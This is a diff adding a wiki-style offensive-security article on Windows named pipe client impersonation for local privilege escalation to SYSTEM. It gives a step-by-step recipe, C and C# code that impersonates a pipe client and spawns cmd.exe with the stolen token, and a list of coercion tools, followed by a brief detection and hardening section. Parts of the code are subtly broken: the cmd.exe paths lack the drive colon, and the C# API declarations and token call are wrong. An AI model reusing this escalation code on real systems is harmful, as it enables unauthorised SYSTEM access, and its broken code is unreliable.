Add content from: Research Update: Enhanced src/windows-hardening/windows-loca...

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

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-Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
+Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).
+
+This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
+
+## TL;DR
+- Create a named pipe: \\.\pipe\<random> and wait for a connection.
+- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
+- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
+- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
+
+## Requirements and key APIs
+- Privileges typically needed by the calling process/thread:
+  - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
+  - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
+- Core APIs used:
+  - CreateNamedPipe / ConnectNamedPipe
+  - ReadFile/WriteFile (must read at least one message before impersonation)
+  - ImpersonateNamedPipeClient and RevertToSelf
+  - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
+  - CreateProcessWithTokenW or CreateProcessAsUser
+- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.
+
+## Minimal Win32 workflow (C)
+```c
+// Minimal skeleton (no error handling hardening for brevity)
+#include <windows.h>
+#include <stdio.h>
+
+int main(void) {
+    LPCSTR pipe = "\\\\.\\pipe\\evil";
+    HANDLE hPipe = CreateNamedPipeA(
+        pipe,
+        PIPE_ACCESS_DUPLEX,
+        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
+        1, 0, 0, 0, NULL);
+
+    if (hPipe == INVALID_HANDLE_VALUE) return 1;
+
+    // Wait for privileged client to connect (see Triggers section)
+    if (!ConnectNamedPipe(hPipe, NULL)) return 2;
+
+    // Read at least one message before impersonation
+    char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
+
+    // Impersonate the last message sender
+    if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
+
+    // Extract and duplicate the impersonation token into a primary token
+    HANDLE impTok = NULL, priTok = NULL;
+    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
+    if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
+
+    // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
+    STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
+    if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
+                                 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
+                                 0, NULL, NULL, &si, &pi)) {
+        // Fallback: CreateProcessAsUser after you already impersonated SYSTEM
+        CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
+                             NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
+    }
+
+    RevertToSelf(); // Restore original context
+    return 0;
+}
+```
+Notes:
+- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
+- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
+
+## .NET quick example
+In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
+```csharp
+using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
+class P {
+  [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
+  [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
+  [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
+  static void Main(){
+    using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
+    s.WaitForConnection();
+    // Ensure client sent something so the token is available
+    s.RunAsClient(() => {
+      IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
+      IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
+      var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
+      Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
+    });
+  }
+}
+```
+
+## Common triggers/coercions to get SYSTEM to your pipe
+These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
+- Print Spooler RPC trigger (PrintSpoofer)
+- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
+- EFSRPC pipes (EfsPotato/SharpEfsPotato)
+
+See detailed usage and compatibility here:
+
+-
+{{#ref}}
+roguepotato-and-printspoofer.md
+{{#endref}}
+-
+{{#ref}}
+juicypotato.md
+{{#endref}}
+
+If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
+
+-
+{{#ref}}
+from-high-integrity-to-system-with-name-pipes.md
+{{#endref}}
+
+## Troubleshooting and gotchas
+- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).
+- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).
+- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
+- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.
+
+## Detection and hardening
+- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events.
+- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM.
+- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges.
+- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary.
+
+## References
+- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
+- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 
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